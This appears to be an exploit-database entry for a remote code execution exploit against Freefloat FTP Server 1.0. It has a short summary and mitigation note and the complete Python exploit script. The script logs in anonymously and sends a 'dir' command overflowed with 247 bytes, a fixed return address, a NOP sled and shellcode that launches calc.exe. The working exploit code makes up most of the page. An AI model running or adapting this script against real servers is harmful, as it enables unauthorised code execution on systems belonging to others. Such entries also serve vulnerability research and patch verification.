FreefloatFTPserver1.0_dir_command_remotecode_exploit

vendor:

Freefloat FTP Server

by:

Greg Priest

9,3

CVSS

HIGH

Remote Code Execution

CWE

Product Name: Freefloat FTP Server

Affected Version From: FreefloatFTPserver1.0

Affected Version To: FreefloatFTPserver1.0

Patch Exists: YES

Related CWE: N/A

CPE: a:freefloat:freefloat_ftp_server:1.0

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: Windows7 x64 HUN/ENG Professional

2016

FreefloatFTPserver1.0_dir_command_remotecode_exploit

This exploit is for FreefloatFTPserver1.0 which is vulnerable to remote code execution. The exploit is triggered by sending a specially crafted 'dir' command to the FTP server, which contains an overflow of 247 'A' characters followed by a return address and shellcode. This causes the return address to be overwritten with the address of the shellcode, which is then executed.

Mitigation:

The vendor has released a patch to address this vulnerability.

Source

Exploit-DB raw data:

import socket
import sys
import os

print '''

                ##############################################
                #    Created: ScrR1pTK1dd13                  #
                #    Name: Greg Priest                       #
                #    Mail: ScrR1pTK1dd13.slammer@gmail.com   # 
                ##############################################

# Exploit Title: FreefloatFTPserver1.0_dir_command_remotecode_exploit
# Date: 2016.11.02
# Exploit Author: Greg Priest
# Version: FreefloatFTPserver1.0
# Tested on: Windows7 x64 HUN/ENG Professional
'''

ip = raw_input("Target ip: ")
port = 21
overflow = 'A' * 247
eip =  '\xF4\xAF\xEA\x75' + '\x90' * 10
#shellcode calc.exe
shellcode =(
"\x31\xdb\x64\x8b\x7b\x30\x8b\x7f" +
"\x0c\x8b\x7f\x1c\x8b\x47\x08\x8b" +
"\x77\x20\x8b\x3f\x80\x7e\x0c\x33" +
"\x75\xf2\x89\xc7\x03\x78\x3c\x8b" +
"\x57\x78\x01\xc2\x8b\x7a\x20\x01" +
"\xc7\x89\xdd\x8b\x34\xaf\x01\xc6" +
"\x45\x81\x3e\x43\x72\x65\x61\x75" +
"\xf2\x81\x7e\x08\x6f\x63\x65\x73" +
"\x75\xe9\x8b\x7a\x24\x01\xc7\x66" +
"\x8b\x2c\x6f\x8b\x7a\x1c\x01\xc7" +
"\x8b\x7c\xaf\xfc\x01\xc7\x89\xd9" +
"\xb1\xff\x53\xe2\xfd\x68\x63\x61" +
"\x6c\x63\x89\xe2\x52\x52\x53\x53" +
"\x53\x53\x53\x53\x52\x53\xff\xd7")

remotecode = overflow + eip + shellcode + '\r\n'
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
connect=s.connect((ip ,port))
s.recv(1024)
s.send('USER anonymous\r\n')
s.recv(1024)
s.send('PASSW hacker@hacker.net\r\n')
s.recv(1024)
print '''
Successfull Exploitation!
'''
message = 'dir ' + remotecode 
s.send(message)
s.recv(1024)
s.close